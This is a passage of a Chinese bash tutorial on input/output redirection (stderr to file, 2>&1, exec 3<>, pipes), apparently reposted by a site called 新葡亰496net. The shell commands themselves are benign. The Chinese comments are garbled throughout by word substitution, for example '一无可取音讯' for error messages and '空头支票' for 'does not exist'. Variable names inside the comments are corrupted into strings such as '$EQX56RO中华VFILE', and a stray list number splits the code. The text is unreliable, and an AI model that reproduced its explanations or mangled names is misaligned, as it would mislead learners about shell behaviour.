      33      # 重定向并追加stderr到文件"filename".
      34    &>filename
      35      # 将stdout和stderr都重定向到文件"filename".
      36
      37      #==============================================================================
      38      # 重定向stdout, 一遍一行.
      39      LOGFILE=script.log
      40
      41      echo "This statement is sent to the log file, "$LOGFILE"." 1>$LOGFILE
      42      echo "This statement is appended to "$LOGFILE"." 1>>$LOGFILE
      43      echo "This statement is also appended to "$LOGFILE"." 1>>$LOGFILE
      44      echo "This statement is echoed to stdout, and will not appear in "$LOGFILE"."
      45      # 每行过后, 这个重定向命令会活动"reset".
      46
      47
      48
      49      # 重定向stderr, 二回一行.
      50      ERRORFILE=script.errors
      51
      52      bad_command1 2>$ERRORFILE      #  错误新闻发到$EQX56RO中华VFILE中.
      53      bad_command2 2>>$ERRORFILE      #  错误消息加多到$EENVISIONROENVISIONFILE中.
      54      bad_command3                    #  错误音讯echo到stderr,
      55                                      # 并且不出现在$E逍客ROPAJEROFILE中.
      56      # 每行过后, 这么些重定向命令也会自动"reset".
      57      #==============================================================================
      58
      59
      60
      61    2>&1
      62      # 重定向stderr到stdout.
      63      # 获得的一无可取音讯与stdout同样, 发送到一个地点.
      64
      65    i>&j
      66      # 重定向文件陈说符i 到 j.
      67      # 指向i文件的富有出口都发送到j中去.
      68
      69    >&j
      70      # 暗中同意的, 重定向文件叙述符1(stdout)到 j.
      71      # 全体传递到stdout的输出都送到j中去.
      72
      73    0< FILENAME
      74    < FILENAME
      75      # 从文件中接受输入.
      76      # 与">"是成对命令, 而且平时都以结合使用.
      77      #
      78      # grep search-word <filename
      79
      80
      81    [j]<>filename
      82      # 为了读写"filename", 把文件"filename"展开, 並且分配文件呈报符"j"给它.
      83      # 假使文件"filename"空头支票, 那么就创建它.
      84      # 要是文件陈说符"j"没钦命, 那默许是fd 0, stdin.
      85      #
      86      # 这种使用一般是为了写到三个文书中钦点的地方.
      87      echo 1234567890 > File    # 写字符串到"File".
      88      exec 3<> File            # 张开"File"而且给它分配fd

    1.   89      read -n 4 <&3            # 只读4个字符.
        90      echo -n . >&3            # 写贰个小数点.
        91      exec 3>&-                # 关闭fd 3.
        92      cat File                  # ==> 1234.67890
        93      # 随机存款和储蓄.
        94
        95
        96
        97    |
        98      # 管道.
        99      # 通用指标的管理和指令链工具.
       100      # 与">"很一般, 可是实在更通用.
       101      # 对于想将指令, 脚本, 文件和顺序串连起来的时候很有用.
       102      cat *.txt | sort | uniq > result-file
       103      # 对全数的.txt文件的出口实行排序, 并且删除重复行,
       104      # 最后将结果保存到"result-file"中.

     

    新葡亰496net 13

     

    本文由新葡亰496net发布于电脑系统,转载请注明出处:新葡亰496net干净搞懂shell的高档I,输入输出重定

    关键词: